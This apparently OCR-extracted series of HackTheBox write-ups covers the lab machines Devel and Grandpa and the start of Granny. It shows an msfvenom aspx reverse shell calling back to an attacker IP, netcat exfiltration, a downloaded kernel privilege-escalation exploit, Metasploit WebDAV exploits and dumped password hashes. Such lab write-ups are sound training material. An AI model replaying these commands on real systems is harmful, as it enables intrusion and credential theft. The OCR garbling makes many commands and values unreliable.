Nmap scan report for 10.10.10.5

Host is up, received user-set (0.11s latency).

Scanned at 2019-11-05 11:28:18 PST for 60s

Not shown: 998 filtered ports

Reason: 998 no-responses

PORT STATE SERVICE REASON VERSION

21/tcp open ftp syn-ack ttl 127 Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
| _03-17-17 04:37PM 184946 welcome.png

| ftp-syst:

|

SYST: Windows_NT

80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 7.5
| http-methods:

| Supported Methods: OPTIONS TRACE GET HEAD POST

|_ Potentially risky methods: TRACE

| _http-server-header: Microsoft-IIS/7.5

| _http-title: IIS7

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap dome at Tue Nov 5 11:29:18 2019 -- 1 IP address (1 host up) scanned in 61.93 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

] Port Protocol Service Scans

1. 21/tcp ftp ttl 127 Microsoft ftpd ./results/10.10.106.5/scans/tcp_21_ftp_nmap.txt
2.

Figure 3: writeup.enumeration.steps.2.1

3. We find that the FTP service allows anonymous login and it shares directory with IIS server web root. This
means we can upload .aspx reverse shell file via FTP and trigger it using the HTTP service:


https://github.com/Tib3rius/AutoRecon

2

root@kali: ~/toolbox/data/writeups/htb.devel # cat results/10.10.10.5/scans/tcp 21 _ftp_nmap.txt

# Nmap 7.70 scan initiated Tue Nov 5 11:29:18 2019 as: nmap -vv --reason -Pn -sV -p 21 --script=banner, (ftp* or ssl*) and not (brute or broadcast or dos or external or fuzzer) -oN /root/toolbox/data
fwriteups/htb.devel/results/10.10.10.5/scans/tcp_21_ftp_nmap.txt -oX /root/toolbox/data/writeups/htb.devel/results/10.10.10.5/scans/xml/tcp_21 ftp_nmap.xml 10.10.10.5

Nmap scan report for 10.10.10.5

Host is up, received user-set (0.17s latency).

Scanned at 2019-11-85 11:29:20 PST for 2s

PORT STATE SERVICE REASON VERSION

21/tcp open ftp syn-ack ttl 127 Microsoft ftpd

| _banner: 220 Microsoft FTP Service

W7 tp-anon: Anonymous FTP login allowed (FTP code 236)
| 63-18-17 01:06AM <DIR> aspnet_client

| 83-17-17 04:37PM 689 iisstart.htm
| _83-17-17 04:37PM 184946 welcome.png
| ftp-syst:

|_ SYST: windows NT
| _sslv2-drown:
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 5 11:29:22 2019 -- 1 IP address (1 host up) scanned in 3.71 seconds
root@kali: ~/toolbox/data/writeups/hth.devel #

Figure 4: writeup.enumeration.steps.3.1

root@kali: ~/toolbox/data/writeups/htb.devel # ftp 10.10.10.5
Connected to 10.10.10.5.

220 Microsoft FTP Service

Mame (10.10.10.5:root): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

230 User logged in.

Remote system type is Windows NT.

ftp= dir

200 PORT command successftul.

125 Data connection already open; Transfer starting.

03-18-17 01:06AM <DIR=> aspnet client

03-17-17 04:37PM 689 iisstart.htm

03-17-17 04:37PM 184946 welcome.png

226 Transfer complete.

ftp= “C

Ttp> 221 Goodbye.

root@kali: ~/toolbox/data/writeups/htb.devel #

Figure 5: writeup.enumeration.steps.3.2

Findings
Open Ports

21/tcp | ftp | Microsoft ftpd
80/tcp | http | Microsoft IIS httpd 7.5



Phase #2: Exploitation

1. We create a reverse shell file using msfvenom and upload it to the FTP server. We then start multi/handler
listener to catch the incoming connection and request the uploaded file via web browser to get interactive access on
the target system:

root@kali: ~/toolbox/data/writeups/htb.devel # msfvenom -p windows/shell/reverse tcp LHOST=10.10.14.26 LPORT=443 -f aspx >rs.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of aspx file: 2832 bytes

root@kali: ~/toolbox/data/writeups/hth.devel #

Figure 6: writeup.exploitation.steps.1.1

msf exploit(multi/handler) = show options
Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/shell/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.26 yes The listen address (an interface may be specified)

LPORT 443 yes The listen port

Exploit target:

Id Name

0 Wildcard Target

msf exploit(multi/handler) =

Figure 7: writeup.exploitation.steps.1.2

msf exploit(multi/handler) > run

[#] Started reverse TCP handler on 10.10.14.26:443

[*] Encoded stage with x86/shikata_ga nai

[#] Sending encoded stage (267 bytes) to 19.10.10.5

[#] Command shell session 2 opened (10.10.14.26:443 -> 10.10.10.5:49164) at 2019-11-65 11:56:52 -0800

c:\windows\system32\inetsrv=whoami
whoami
iis apppooliweb

Figure 8: writeup.exploitation.steps.1.3



C:\Windows\Temp=systeminfo

systeminfo
Host MName: DEVEL
0S Name: Microsoft Windows 7 Enterprise
0S5 Version: 6.1.7600 N/A Build 7680
05 Manufacturer: Microsoft Corporation
0S Configuration: Standalone Workstation
0S Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-651-0948536-86302
Original Install Date: 17/3/2017, 4:17:31
System Boot Time: 9/11/2019, 5:22:07
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[81]: x64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIDS Version: Phoenix Technologies LTD 6.88, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolumel
System Locale: el;:Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:88) Athens, Bucharest, Istanbul
Total Physical Memory: 1.023 MB

Available Physical Memory: 639 MB
Yirtual Memory: Max Size: 2.047 MB
Virtual Memory: Available: 1.586 MB

Virtual Memory: In Use: 541 MB

Page File Location(s): C:\pagefile.sys
Domain: HTB

Logon Server: M/A

HotfTix(s): N/A

Network Card(s): 1 NIC{s) Installed.

[01]: Intel(R) PRO/10G® MT MNetwork Connection
Connection MWame: Local Area Connection
DHCP Enabled: Mo
IP address(es)
[P1]: 10.10.18.5

Figure 9: writeup.exploitation.steps.1.4
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C:\Windows\Temp=ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

IPvd Address. .« & v oo o owow e oW ow o 18.18.18.5
subnet Mask o D G e v E G e v o5 o e X5 255 2558
Default Gateway . . . . . . . . . : 18.10.108.2

Tunnel adapter isatap.{024DBC4C-1BA9-4DFC-8341-2C35AB1DF869}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Tunnel adapter Local Area Connection* 9:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

C:\Windows\Temp=

Figure 10: writeup.exploitation.steps.1.5

Phase #2.5: Post Exploitation

web@DEVEL> id
iis apppool\web

web@DEVEL>

webCDEVEL> uname

Host Name: DEVEL

0S Name: Microsoft Windows 7 Enterprise
0S Version: 6.1.7600 N/A Build 7600

0S Manufacturer: Microsoft Corporation

0S Configuration: Standalone Workstation

0S Build Type: Multiprocessor Free

web@DEVEL>

web@DEVEL> ifconfig

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix

IPv4 Address. . . . . . . . . . . : 10.10.10.5
Subnet Mask . . . . . . . . . . . : 2565.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2

web@DEVEL>

web@DEVEL> users

Administrator

babis



Phase #3: Privilege Escalation

1. We first upload the netcat binary to the target system using the FTP server and use it to get systeminfo
output. With this, we can start exploring possible exploits for the target system:

root@kali: -/toolbox/data/writeups/htb.devel # ftp 10.10.10.5
Connected to 10.10.10.5.

220 Microsoft FTP Service

Name (10.10.10.5:root): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

238 User logged in.

Remote system type is Windows NT.

ftp>

ftp= binary

200 Type set to I.

ftp= binary

200 Type set to I.

fip=

Ttp> put nc.exe

local: nc.exe remote: nc.exe

200 PORT command successful.

125 Data connection already open; Transfer starting.
226 Transter complete.

59392 bytes sent in 8.13 secs (443.7236 kB/s)

ftp>

ftp> dir

208 PORT command successTul.

125 Data connection already open; Transfer starting.

03-18-17 ©01:06AM <DIR= aspnet client
03-17-17 04:37PM 689 iisstart.htm
11-89-19 85:58AM 59392 nc.exe
11-09-19 B85:48AM 2868 rs.aspx
83-17-17 04:37PM 184946 welcome.png
226 Transfer complete.

ftp>

Figure 11: writeup.privesc.steps.1.1

C:\Windows\Temp=c:\inetpub\wwwroot\nc.exe 10.10.14.26 9999 <sysinfo.txt
c:\inetpub\wwwroot\nc.exe 10.10.14.26 9999 <sysinfo.txt

“C

Abort session 27 [y/N]

C:\Windows\Temp=

Figure 12: writeup.privesc.steps.1.2



root@kali: ~/toolbox/data/
listening on [any] 9999 ...

connect to [10.10.14.26] from (UNKNOWN) [1©.10.10.5] 49165
~C

root@kali: ~/toolbox/data/writeups/htb.devel #

iteups/htb.devel # nc -nlvp 9999 =sysinfo.txt

Figure 13: writeup.privesc.steps.1.3

2. Upon looking for exploits for the target system, we find EDB:40564 but it needs compilation of source file. We
search and find a pre-compiled exploit from the SecWiki/windows-kernel-exploits project:

root@kali: ~/toolbox/data/writeups/htb.devel # python ~/toolbox/scripts/Windows-Exploit-Suggester/windows-exploit-suggester.py --database ~/toolbox/scripts/Windows-Exploit-Suggester/2019-11-04-mssb.x
1s --systeminfo sysinfo.txt

[+] initiating winsploit version 3.3...

[*] database file detected as xls or xlsx based on extension

[*] attempting to read from the systeminfo input file

+] systeminfo input file read successfully (ISO-8859-1)

[*] querying database file for potential vulnerabilities

[*] comparing the © hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*] there are now 179 remaining vulns

[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin

windows version identified as 'Windows 7 32-bit'

[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical

1] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important

] M512-637: Cumulative Security Update for Internet Explorer (2699988) - Critical

] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC

1 http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
1

Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important

Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important

Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important

[ Cumulative Security Update for Internet Explorer (978207) - Critical

M] MS@9-072: Cumulative Security Update for Internet Explorer (976325) - Critical

[*] done

root@kali: ~/toolbox/data/writeups/hth.devel #

Figure 14: writeup.privesc.steps.2.1

3. Once downloaded locally, we need to transfer the exploit file to the target system using the FTP server. Once
done, we execute the file and gain elevated privileges:

root@kali: ~/toolbox/data/writeups/htb.devel # wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS11-046/msll-046.exe
--2019-11-05 12:42:58-- https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS11-046/ms11-046.exe

Resolving github.com (github.com)... 192.30.255.112

Connecting to github.com (github.com)]|192.36.255.112|:443... connected.

HTTP request sent, awaiting response... 382 Found

Location: https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/MS11-046/ms11-046.exe [following]
--2019-11-05 1. 2:58-- https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/master/Ms11-046/msll-046.exe
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133,
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.

HTTP request sent, awaiting response... 260 OK

Length: 112815 (110K) [application/octet-stream]

Saving to: ‘msl1-046.exe’

ms11-046.exe 100%[: 1 110.17K --.-KB/s in 0.05s
2019-11-05 12:42:59 (2.23 MB/s) - ‘ms1l-846.exe’ saved [112815/112815]

root@kali: ~/toolbox/data/writeups/hth.devel #

Figure 15: writeup.privesc.steps.3.1
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https://www.exploit-db.com/exploits/40564
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046

ftp= binary
200 Type set to I.

ftp= put msll-846.exe
local: msll-046.exe remote:
200 PORT command
125 Data connection already open; Transfer starting.
226 Transfer complete.
112815 bytes sent in ©0.34 secs (327.6468 kB/s)

ftp= dir

208 PORT command
connection already open; Transfer starting.

125 Data
B3-18-17
03-17-17
11-89-19
11-89-19
11-89-19
03-17-17

01:
04:
06:
05:
05:
04:

226 Transfer

fip=

O6AM
37PM
41AM
SBAM
48AM
37PM
comp

successful.

successful.

<DIR=

lete.

689
112815
59392
2868
184946

Figure 16: writeup.privesc.steps.3.2

11

msll-046.exe

aspnet client
iisstart.htm
msll-046.exe
nc.exe
rs.aspx
welcome.png



C:\inetpub\wwwroot=dir

dir

Volume in drive € has no label.
Volume Serial Number is 8628-71F1

Directory of C:\inetpub‘\wwwroot

09/11/2019 06:41 <DIR=
09/11/2019 06:41 <DIR= A ¢
18/83/2017 ©1:06 <DIR=> aspnet client
17/03/2017 04:37 689 iisstart.htm
09/11/2019 06:41 112.815 ms1l-046.exe
09/11/2019 05:58 29.392 nc.exe
09/11/2019 05:48 2.868 rs.aspx
17/03/2017 04:37 184.946 welcome.png

5 Filel(s) 360.710 bytes

3 Dir(s) 24.609.1083.872 bytes free
C:\inetpub\wwwroot=
C:\inetpub\wwwroot=>
C:\inetpub\wwwroot=whoami
whoami
iis apppool\web

C:\inetpub\wwwroot=

C:\inetpub\wwwroot>ms11-046.exe
msll-046.exe

c:\Windows\System32>whoami
whoami
nt authority\system

Figure 17: writeup.privesc.steps.3.3

4. We can now view the contents of the user.txt.txt and root.txt.txt files to complete the challenge:
c:\Users\babis\Desktop>type user.txt.txt
type user.txt.txt

ecddba3aedf24b41562fea7Ofdch3e8
c:\Users\babis\Desktop>

Figure 18: writeup.privesc.steps.4.1
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c:\Users\Administrator\Desktop=type root.txt.txt
type root.txt.txt
e621a0b5041708797c4fc4728bc72b4b
c:\Users\Administrator\Desktop=

Figure 19: writeup.privesc.steps.4.2
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Loot
Flags

c:\Users\babis\Desktop\user.txt.txt: 9ecdd6al3aedf24b415..............
c:\Users\Administrator\Desktop\root.txt.txt: €621a0b5041708797...............

References

[+] https://www.hackthebox.eu/home/machines/profile/3
[+] https://xd3mOn.xyz/htb_devel/
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[HackTheBox] Grandpa
Date: 04/Nov/2019

Categories: oscp, htb, windows
Tags: exploit_iis_webdav, privesc_ windows_ms14 070

Overview

This is a writeup for HackTheBox VM Grandpa. Here are stats for this machine from machinescli:

machinescli -t --info grandpa

# ID Name Rating Difficulty 05 0SCPlike  Owned TTPs
1. hackthebox#13 Grandpa i - & = ® &
privesc_windows_msl14_070
Figure 1: writeup.overview.machinescli
Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/13
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=windows&unscoped_q=windows
https://github.com/7h3rAm/writeups/search?q=exploit_iis_webdav&unscoped_q=exploit_iis_webdav
https://github.com/7h3rAm/writeups/search?q=privesc_windows_ms14_070&unscoped_q=privesc_windows_ms14_070
https://www.hackthebox.eu/home/machines/profile/13
https://github.com/7h3rAm/machinescli

[HTB] Grandpa

' 10.10.10.14 |

h
Phase #1: Enumeration

h 4

80/tcp |

. h J .
iis 6.0

¥

Phase #2: Exploitation

¥

windows/iis/iis_webdav_upload_asp

¥

meterpreter (ntauth/network)

. Y .
Phase #3: Privilege Escalation

; h 4 .
migrate to process davcdata.exe

. h 4 .
multi/recon/local_exploit_suggester

h 4
windows/local/ms15_051 _client_copy_image

; Y )
meterpreter (ntauth/system)

¥ Y
‘user.txt‘ ‘root.txt‘

Figure 2: Writeupéoverview.killchain



TTPs

1. 80/tcp/http/Microsoft IIS httpd 6.0: exploit_iis webdav, privesc_windows_msl4_ 070


https://github.com/7h3rAm/writeups#exploit_iis_webdav
https://github.com/7h3rAm/writeups#privesc_windows_ms14_070
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Mon Nov 4 15:43:14 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN
s /root/toolboz/writeups/htdb.grandpa/results/10.10.10.14/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.grandpa/results/10.10.10.14/scans/zml/_quick_tcp_nmap.zml
% 10.10.10.14
Nmap scan report for 10.10.10.14
Host is up, received user-set (0.057s latency).
Scanned at 2019-11-04 15:43:15 PST for 23s
Not shown: 999 filtered ports
Reason: 999 no-responses
PORT  STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 6.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT POST
- MOVE MKCOL PROPPATCH
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL
< PROPPATCH
| _http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
|  Server Type: Microsoft-IIS/6.0
|  WebDAV type: Unkown
|  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND,
-~ PROPPATCH, LOCK, UNLOCK, SEARCH
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| Server Date: Mon, 04 Nov 2019 23:43:43 GMT

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap dome at Mon Nov 4 15:43:38 2019 -- 1 IP address (1 host up) scanned in 23.46 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

i Port Protocol Service Scans

./results/10.10.10.14/scans/tcp_80_http_gobuster.txt
./results/10.10.10.14/scans/tcp_80_http_nikto.txt

1. 80/tcp http ttl 127 Microsoft IIS httpd 6.0 ./results/10.10.10.14/scans/tcp_80@_http_nmap.txt
./results/10.10.10.14/scans/tcp_80_http_robots.txt
./results/10.10.10.14/scans/tcp_80_http_whatweb.txt

Figure 3: writeup.enumeration.steps.2.1

3. We look for IIS 6.0 vulnerabilities and find multiple WebDAV related hits:


https://github.com/Tib3rius/AutoRecon

root@kali: -/toolbox/data/writeups/htb.grandpa # ss microsoft iis 6.0

Path
(/usr/share/exploitdb/)

4.9/5.0/

- Internal IP Address/Internal Network Name Disclosure

5.0/ FTP Server - Stack Exhaustion Denial of Service
5.9/ FTP server (Windows 2000) - Remote Stack Overflow
/7.5 (+ PHP) - Multiple Vulnerabilities

- ASP Stack Overflow Stack Exhaustion (Denial of Service)

- 'JAUX / '.aspx' Remote Denial of Service

- WebDAV

Remote Authentication Bypass (1)

- WebDAV Remote Authentication Bypass (2)

- WebDAV Remote Authentication Bypass (Patch)

- WebDAV Remote Authentication Bypass (PHP)

- WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow
Shellcodes: No Result
root@kali: ~/toolbox/data/writeups/htb.grandpa #

Findings
Open Ports

80/tcp | http | Microsoft IIS httpd 6.0

Figure 4: writeup.enumeration.steps.3.1

exploits/windows/remote/21057. txt
exploits/windows/dos/9587. txt
exploits/windows/remote/9541.pl
exploits/windows/remote/19033. txt
exploits/windows/dos/15167. txt
exploits/windows/dos/3965.pl
exploits/windows/remote/8704. txt
exploits/windows/remote/8806.pl
exploits/windows/remote/8754. patch
exploits/windows/remote/8765.php
exploits/windows/remote/41738.py




Phase #2: Exploitation

1. We decide to use the Metasploit windows/iis/iis_webdav_scstoragepathfromurl exploit and it successully
gives us a Meterpreter shell:

msf exploit(windows/iis/iis webdav_scstoragepathfromurl) = show options

Module options (exploit/windows/iis/iis webdav scstoragepathfromurl):

Name Current Setting Required Description

MAXPATHLENGTH 60 yes End of physical path brute force

MINPATHLENGTH 3 yes Start of physical path brute force

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.10.10.14 yes The target address

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI / yes Path of IIS 6 web application

VHOST no HTTP server virtual host

Exploit target:

Id Name

0 Microsoft Windows Server 2003 R2 SP2 x86

msf exploit(windows/iis/iis webdav_scstoragepathfromurl) >

Figure 5: writeup.exploitation.steps.1.1

msf exploit(windows/iis/iis webdav_scstoragepathfromurl) > exploit

[#*] Started reverse TCP handler on 10.10.14.26:4444

[*] Trying path length 3 to 60 2

[*] Sending stage (179779 bytes) to 10.10.10.14

[#*] Meterpreter session 1 opened (10.10.14.26:4444 -> 10.10.10.14:1031) at 2019-11-084 16:14:40 -0808

meterpreter = getuid

[-]1 stdapi sys config getuid: Operation failed: Access is denied.
meterpreter =

meterpreter > sysinfo

Computer : GRANPA

0s : Windows .NET Server (Build 3798, Service Pack 2).
Architecture 1 %86

System Language : en US

Domain : HTB

Logged On Users : 3

Meterpreter : X86/windows

meterpreter =

Figure 6: writeup.exploitation.steps.1.2

Phase #2.5: Post Exploitation

ntauth/network@GRANPA> id
NT AUTHORITY\NETWORK SERVICE
ntauth/network@GRANPA>
ntauth/network@GRANPA> uname
Computer : GRANPA
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0s : Windows .NET Server (Build 3790, Service Pack 2).

Architecture : x86

System Language : en_US
Domain : HTB

Logged On Users : 3
Meterpreter : x86/windows

ntauth/network@GRANPA>
ntauth/network@GRANPA> ifconfig

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

IP Address.

Subnet Mask .

Default Gateway .
ntauth/network@GRANPA>
ntauth/network@GRANPA> users
Administrator
Harry

10.10.10.14
255.255.255.0
10.10.10.2



Phase #3: Privilege Escalation

1. Since we have certain restrictions that stop us from running commands like getuid, we have to migrate to a
different process. We find the PID for process davcdata.exe and migrate to it:

meterpreter > migrate 2260

[#*] Migrating from 3432 to 2260...

[#] Migration completed successfully.
meterpreter =

meterpreter = getuid

Server username: NT AUTHORITY\MNETWORK SERVICE
meterpreter =

Figure 7: writeup.privesc.steps.1.1

2. We can now use the Metasploit multi/recon/local_exploit_suggester module to look for privesc options:

msf post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local exploit suggester)

Name Current Setting Required Description
SESSION 3 yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits

msf post(multi/recon/local_exploit suggester) >
msf post(multi/recon/local_exploit_suggester) >
msf post(multi/recon/local_exploit_suggester) >
msf pest(multi/recon/local_exploit_suggester) > exploit
[#] 16.10.10.14 - Collecting local exploits for x86/windows. ..
[*] 10.10.10.14 - 39 exploit checks are being tried...
1 10.10.10.14 - exploit/windows/local/ms1® 015 kitrap@d: The target service is running, but could net be validated.
10.10.10.14 - exploit/windows/local/ms1l4 058 track popup _menu: The target appears to be vulnerable.
] 10.10.10.14 - exploit/windows/local/msl4 870 tcpip ioctl: The target appears to be vulnerable.
] 10.10.10.14 - exploit/windows/local/ms15 851 client copy image: The target appears to be vulnerable.
| 10.10.10.14 - exploit/windows/local/msl6é 016 webdav: The target service is running, but could not be validated.
10.10.10.14 - exploit/windows/local/mslé_032 secondary logon handle privesc: The target service is running, but could not be validated.
10.10.10.14 - exploit/windows/local/ppr_flatten rec: The target appears to be vulnerable.
[*] Post module execution completed
msf post(multi/recon/local_exploit_suggester) >

Figure 8: writeup.privesc.steps.2.1

3. We tried a few exploits from this list and eventually the windows/local/ms14_070_tcpip_ioctl module worked
and provided an elevated session:



msf exploit(windows/local/msl4_070_ tcpip_ioctl) > show options
Module options (exploit/windows/local/msl4 070 tcpip ioctl):

Mame Current Setting Required Description

SESSION 3 yes The session to run this module on.

Exploit target:

Id MName

5] Windows Server 20603 SP2

3
]
—h

exploit(windows/local/msld4 070 tcpip_ioctl) =
exploit(windows/local/ms1l4 070 tcpip_ioctl) =
exploit(windows/local/ms1l4_070_ tcpip_ioctl) > exploit

El
[f5}
—h

El
[Fy}
—h

Started reverse TCP handler on 192.168.92.183:4444

Storing the shellcode in memory...

Triggering the vulnerability...

Checking privileges after exploitation...

Exploitation successful!

Exploit completed, but no session was created.
exploit(windows/local/ms1l4_070_tcpip_ioctl) =
exploit(windows/local/ms1l4 070 tcpip ioctl) =
exploit(windows/local/ms1l4 070 tcpip_ioctl) = sessions -i 3
[#*] Starting interaction with 3...

= o e p—— p— p—
N ¥ 4+ * * ¥ ¥
*IHI—IHHHH

3
[1y]
=

El
[fy}
—h

meterpreter = getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter =

Figure 9: writeup.privesc.steps.3.1



meterpreter > sysinfo

Computer : GRANPA

0s : Windows .NET Server (Build 3798, Serwvice Pack 2).
Architecture : xB6

System Language : en_ US

Domain : HTB

Logged On Users : 2

Meterpreter : X86/windows

meterpreter >

meterpreter = shell

Process 3752 created.

Channel 2 created.

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:A\WINDOWS\system3z2=

C:\WINDOWS\system32=ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

IP Address. . . . . . . . . . . . : 10.10.10.14
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2

C:\WINDOWS\system32=

Figure 10: writeup.privesc.steps.3.2

4. We then obtain further information about the system and read the contents of both user.txt and root.txt files
to comeplete the challenge:

cat "C:\Documents and Settings\Harry\Desktop\user.txt"
cat "C:\Documents and Settings\Administrator\Desktop\root.txt"

meterpreter = cat "C:\Documents and Settings\Harry\Desktop\user.txt"
bdff5ec67c3cffOl7f2bedcl46a5d869meterpreter =

meterpreter =

meterpreter > cat "C:\Documents and Settings‘Administrator\Desktop\root.txt"
9359e905a2c35f861T6a57cect28bb7bmeterpreter =

meterpreter =

Figure 11: writeup.privesc.steps.4.1
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Loot

Hashes
Administrator:500:0a70918d669baeb307012642393148ab:34decB8aldbld4cdde2a.................
ASPNET:1007:3f71d62ec68a06a39721cb3f54f04a3b:edc0d5506804653f589................
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c........ .. .....
Harry:1008:93c50499355883d1441208923e8628e6:031£5563e0ac4bab38e......... ...
TIUSR_GRANPA:1003:a274b4532c9cabcdf684351fab962e86:6a981cb5e038b2d8b7. .. ......ccvv. ..

IWAM_GRANPA:1004:95d112¢c4da2348b599183ac6b1d67840:a97£39734¢c21b3f615. ... . ... ...
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:8ed3993efbdeb476e. . ... .cvvvinvn. ..

Flags

C:\Documents and Settings\Harry\Desktop\user.txt: bdffbec67c3cffOl................
C:\Documents and Settings\Administrator\Desktop\root.txt: 9359e905a2c35f..................

References

[+] https://www.hackthebox.eu/home/machines/profile/13
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[HackTheBox| Granny

Date: 04/Nov/2019
Categories: oscp, htb, windows
Tags: exploit_iis_webdav, privesc_ windows_ms15_ 051

Overview

This is a writeup for HackTheBox VM Granny. Here are stats for this machine from machinescli:

machinescli -t --infoe granny

# ID Name Rating Difficulty 0S 05CPlike Owned TTPs
1. hackthebox#14 Granny '“ @ = [ ] &
privesc_windows_ms15_051
Figure 1: writeup.overview.machinescli
Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/14
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=windows&unscoped_q=windows
https://github.com/7h3rAm/writeups/search?q=exploit_iis_webdav&unscoped_q=exploit_iis_webdav
https://github.com/7h3rAm/writeups/search?q=privesc_windows_ms15_051&unscoped_q=privesc_windows_ms15_051
https://www.hackthebox.eu/home/machines/profile/14
https://github.com/7h3rAm/machinescli

[HTB] Granny

10.10.10.15 |

h
Phase #1: Enumeration
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. h J .
iis 6.0

¥

Phase #2: Exploitation

¥
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¥
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. Y .
Phase #3: Privilege Escalation

; h 4 .
migrate to process davcdata.exe

. h 4 .
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; Y )
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¥ Y
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Figure 2: Writeupéoverview.killchain



TTPs

1. 80/tcp/http/Microsoft IIS httpd 6.0: exploit_iis webdav, privesc_windows_msl5_051


https://github.com/7h3rAm/writeups#exploit_iis_webdav
https://github.com/7h3rAm/writeups#privesc_windows_ms15_051
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Mon Nov 4 13:35:36 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN
s /root/toolbox/writeups/htdb.granny/results/10.10.10.15/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.granny/results/10.10.10.15/scans/zml/_quick_tcp_nmap.zml
- 10.10.10.15
Nmap scan report for 10.10.10.15
Host is up, received user-set (0.051s latency).
Scanned at 2019-11-04 13:35:37 PST for 21s
Not shown: 999 filtered ports
